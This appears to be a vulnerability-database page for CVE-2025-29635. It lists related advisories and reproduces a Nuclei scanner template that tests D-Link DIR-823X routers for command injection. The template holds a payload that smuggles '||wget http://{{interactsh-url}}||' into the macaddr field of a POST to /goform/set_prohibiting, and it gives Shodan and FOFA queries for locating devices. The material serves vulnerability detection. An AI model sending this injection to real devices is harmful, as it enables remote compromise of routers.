| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2025-29635: Mirai Campaign Targets D-Link Devices | 21 Apr 202616:00 | – | akamaiblog | |
| CVE-2025-29635 | 25 Mar 202514:15 | – | attackerkb | |
| The vulnerability of the /goform/set_prohibiting function in the microprogramming software for D-link DIR-823X AX3000 allows a hacker to execute arbitrary commands. | 2 May 202500:00 | – | bdu_fstec | |
| CVE-2025-29635 | 25 Mar 202513:23 | – | circl | |
| D-Link DIR-823X Command Injection Vulnerability | 24 Apr 202600:00 | – | cisa_kev | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 24 Apr 202612:00 | – | cisa | |
| D-Link DIR-823X 命令注入漏洞 | 25 Mar 202500:00 | – | cnnvd | |
| D-Link DIR-823X Command Injection Vulnerability (CNVD-2025-11330) | 27 Mar 202500:00 | – | cnvd | |
| CVE-2025-29635 | 25 Mar 202500:00 | – | cve | |
| CVE-2025-29635 | 25 Mar 202500:00 | – | cvelist |
id: CVE-2025-29635
info:
name: D-Link DIR-823X set_prohibiting - Command Injection
author: pussycat0x
severity: high
description: |
D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.
impact: |
Attackers can execute arbitrary commands on the device remotely, potentially leading to full device compromise.
remediation: |
Update to the latest firmware version provided by D-Link or contact vendor for patches.
reference:
- https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html
- https://github.com/D-Link-SA/CVE-2025-29635/blob/main/CVE-2025-29635.md
- https://nvd.nist.gov/vuln/detail/CVE-2025-29635
classification:
cvss-score: 7.2
cve-id: CVE-2025-29635
epss-score: 0.87239
epss-percentile: 0.99733
cwe-id: CWE-78
metadata:
verified: false
max-request: 1
vendor: dlink
product: dir-823x_firmware
shodan-query: title:"D-Link"
fofa-query: title="DIR-823X"
tags: cve,cve2025,dlink,rce,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "contains(to_lower(body), 'dir-823')"
internal: true
- raw:
- |
POST /goform/set_prohibiting HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
macaddr=||wget http://{{interactsh-url}}||&token=00000000000000000000000000000000
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol,'dns')"
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100d9ee94323919d63c45365e8e1c8fa6515f3fa0d0c0b03f3b4c5b059ee5e8e0a102204f0ff469b9e5128fea5f632877b91903f29444123cfb6bb6b6bc607f518ca5bc:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation